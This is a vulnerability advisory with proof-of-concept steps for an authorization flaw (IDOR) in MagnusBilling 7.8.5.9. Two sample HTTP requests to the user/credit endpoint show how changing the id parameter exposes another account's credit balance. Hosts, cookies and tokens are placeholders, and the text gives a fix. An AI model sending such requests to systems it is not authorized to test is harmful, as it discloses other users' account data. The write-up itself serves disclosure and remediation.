
Advisory and proof-of-concept write-up for CVE-2026-117025, an IDOR (CWE-639) in MagnusBilling 7.8.5.9 that lets authenticated users read other accounts' credit balances via the user/credit endpoint.
An Insecure Direct Object Reference (IDOR) vulnerability was identified in MagnusBilling 7 (confirmed on 7.8.5.9). An authenticated user may retrieve another account’s credit balance by changing the id parameter in a request to the user/credit endpoint.
The endpoint does not verify that the requested account belongs to the authenticated user or that the user has permission to access that account’s credit information.
| Field | Details |
|---|---|
| CVE | CVE-2026-117025 |
| Vendor | MagnusSolution |
| Product | MagnusBilling 7 |
| Affected version | 7.8.5.9 |
| Fixed version | MagnusBilling 8, according to the vendor |
| Vulnerability type | CWE-639: Authorization Bypass Through User-Controlled Key |
| Attack vector | Network |
| Privileges required | Low |
| User interaction | None |
| CVSS v3.1 | 6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
The POST /mbilling/index.php/user/credit endpoint accepts an id parameter that identifies the account whose credit balance is returned.
In the tested version, MagnusBilling does not enforce an ownership or authorization check to ensure that the requested account belongs to the authenticated user. As a result, an authenticated user may change the id parameter and retrieve the credit balance associated with another account.
The vulnerability affects confidentiality. The endpoint was observed to return account credit information; this report does not claim that this endpoint permits modification of another account’s balance.
Only the version listed as tested is confirmed by this report. Refer to the vendor for the complete affected-version range and remediation details.
Perform testing only on a MagnusBilling instance that you own or are explicitly authorized to assess. Use test accounts and synthetic data.
Sign in as a standard, low-privilege test user and capture a valid session and CSRF token.
Send a request to the endpoint using the test user’s own account ID:
POST /mbilling/index.php/user/credit HTTP/1.1
Host: <AUTHORIZED_TEST_HOST>
Cookie: PHPSESSID=<REDACTED_SESSION_COOKIE>; YII_CSRF_TOKEN=<REDACTED_CSRF_COOKIE>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
id=<TEST_USER_ACCOUNT_ID>&YII_CSRF_TOKEN=<REDACTED_CSRF_TOKEN>
Repeat the request with the ID of a second test account that does not belong to the authenticated user. Change only the id value:
POST /mbilling/index.php/user/credit HTTP/1.1
Host: <AUTHORIZED_TEST_HOST>
Cookie: PHPSESSID=<REDACTED_SESSION_COOKIE>; YII_CSRF_TOKEN=<REDACTED_CSRF_COOKIE>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
id=<SECOND_TEST_ACCOUNT_ID>&YII_CSRF_TOKEN=<REDACTED_CSRF_TOKEN>
Compare the responses. The vulnerability is present if the authenticated user receives the second test account’s credit balance despite lacking authorization to view it.
Example response format, using synthetic data:
{"rows":{"credit":"<SYNTHETIC_TEST_VALUE>"}}
An authenticated user may access credit-balance information for accounts they are not authorized to view. This constitutes an unauthorized disclosure of account information.
The endpoint was observed to be read-only during testing. No modification of another account’s credit balance was demonstrated.
The endpoint should verify authorization on the server side for every request. It should ensure that the requested account belongs to the authenticated user, or that the authenticated user has an explicitly authorized role permitting access to that account.
The vendor has stated that the issue is fixed in MagnusBilling 8. Users should consult the vendor’s guidance and upgrade to a version containing the fix.